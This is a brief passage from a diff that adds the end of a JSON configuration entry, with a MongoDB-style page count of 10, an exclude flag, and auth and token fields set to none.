+ "num_of_pages": { + "$numberInt": "10" + }, + "exclude_whole": "true" + }, + "auth": "none", + "token": "none" + } + ] +}) \ No newline at end of file